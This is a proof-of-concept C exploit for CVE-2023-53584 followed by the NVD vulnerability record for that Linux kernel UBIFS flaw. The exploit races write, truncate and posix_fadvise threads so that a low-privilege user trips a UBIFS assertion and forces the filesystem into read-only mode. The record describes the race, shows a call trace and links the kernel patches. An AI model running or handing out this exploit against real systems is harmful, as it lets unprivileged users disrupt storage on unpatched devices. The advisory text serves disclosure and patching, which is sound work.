CVE-2023-53584

/* * CVE-2023-53584 PoC - Trigger UBIFS assertion failure via concurrent operations * This PoC demonstrates triggering the ubifs_assert(0) in ubifs_releasepage() * by racing write, truncate, and fadvise operations on a UBIFS filesystem. * * Compile: gcc -o poc poc.c -lpthread * Run on UBIFS mounted filesystem as low-privilege user. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <sys/types.h> #include <sys/stat.h> #define FILE_PATH "/mnt/ubifs/test_file" #define BUF_SIZE 4096 #define NUM_THREADS 3 #define ITERATIONS 1000 void *writer_thread(void *arg) { int fd; char buf[BUF_SIZE]; memset(buf, 'A', BUF_SIZE); for (int i = 0; i < ITERATIONS; i++) { fd = open(FILE_PATH, O_WRONLY | O_CREAT, 0644); if (fd < 0) continue; write(fd, buf, BUF_SIZE); close(fd); } return NULL; } void *truncator_thread(void *arg) { for (int i = 0; i < ITERATIONS; i++) { truncate(FILE_PATH, 0); } return NULL; } void *fadvise_thread(void *arg) { int fd; for (int i = 0; i < ITERATIONS; i++) { fd = open(FILE_PATH, O_RDONLY); if (fd < 0) continue; /* posix_fadvise triggers invalidate_inode_page -> try_to_release_page */ posix_fadvise(fd, 0, BUF_SIZE, POSIX_FADV_DONTNEED); close(fd); } return NULL; } int main() { pthread_t threads[NUM_THREADS]; /* Create initial file */ int fd = open(FILE_PATH, O_WRONLY | O_CREAT, 0644); if (fd < 0) { perror("open"); return 1; } close(fd); printf("Starting race condition exploit for CVE-2023-53584...\n"); /* Launch concurrent threads to trigger the race */ pthread_create(&threads[0], NULL, writer_thread, NULL); pthread_create(&threads[1], NULL, truncator_thread, NULL); pthread_create(&threads[2], NULL, fadvise_thread, NULL); for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Done. Check dmesg for UBIFS assertion failure.\n"); return 0; }

{"cve": {"id": "CVE-2023-53584", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:54.217", "lastModified": "2026-03-23T18:35:11.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nubifs: ubifs_releasepage: Remove ubifs_assert(0) to valid this process\n\nThere are two states for ubifs writing pages:\n1. Dirty, Private\n2. Not Dirty, Not Private\n\nThe normal process cannot go to ubifs_releasepage() which means there\nexists pages being private but not dirty. Reproducer[1] shows that it\ncould occur (which maybe related to [2]) with following process:\n\n PA PB PC\nlock(page)[PA]\nubifs_write_end\n attach_page_private // set Private\n __set_page_dirty_nobuffers // set Dirty\nunlock(page)\n\nwrite_cache_pages[PA]\n lock(page)\n clear_page_dirty_for_io(page)\t// clear Dirty\n ubifs_writepage\n\n do_truncation[PB]\n\t\t\t truncate_setsize\n\t\t\t i_size_write(inode, newsize) // newsize = 0\n\n i_size = i_size_read(inode)\t// i_size = 0\n end_index = i_size >> PAGE_SHIFT\n if (page->index > end_index)\n goto out // jump\nout:\nunlock(page) // Private, Not Dirty\n\n\t\t\t\t\t\tgeneric_fadvise[PC]\n\t\t\t\t\t\t lock(page)\n\t\t\t\t\t\t invalidate_inode_page\n\t\t\t\t\t\t try_to_release_page\n\t\t\t\t\t\t ubifs_releasepage\n\t\t\t\t\t\t ubifs_assert(c, 0)\n\t\t // bad assertion!\n\t\t\t\t\t\t unlock(page)\n\t\t\t truncate_pagecache[PB]\n\nThen we may get following assertion failed:\n UBIFS error (ubi0:0 pid 1683): ubifs_assert_failed [ubifs]:\n UBIFS assert failed: 0, in fs/ubifs/file.c:1513\n UBIFS warning (ubi0:0 pid 1683): ubifs_ro_mode [ubifs]:\n switched to read-only mode, error -22\n CPU: 2 PID: 1683 Comm: aa Not tainted 5.16.0-rc5-00184-g0bca5994cacc-dirty #308\n Call Trace:\n dump_stack+0x13/0x1b\n ubifs_ro_mode+0x54/0x60 [ubifs]\n ubifs_assert_failed+0x4b/0x80 [ubifs]\n ubifs_releasepage+0x67/0x1d0 [ubifs]\n try_to_release_page+0x57/0xe0\n invalidate_inode_page+0xfb/0x130\n __invalidate_mapping_pages+0xb9/0x280\n invalidate_mapping_pagevec+0x12/0x20\n generic_fadvise+0x303/0x3c0\n ksys_fadvise64_64+0x4c/0xb0\n\n[1] https://bugzilla.kernel.org/show_bug.cgi?id=215373\n[2] https://linux-mtd.infradead.narkive.com/NQoBeT1u/patch-rfc-ubifs-fix-assert-failed-in-ubifs-set-page-dirty"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.27", "versionEndExcluding": "6.1.18", "matchCriteriaId": "D5663B99-2715-4C8D-9AEE-F1588DE5EB21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.5", "matchCriteriaId": "0575B33B-A320-4E51-84CA-10C937341E02"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/66f4742e93523ab2f062d9d9828b3e590bc61536", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7750be5d3e18500b454714677463b500a0b8b0d8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bd188ff1c8a1935c93a1e3cacf3be62667fdf762", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}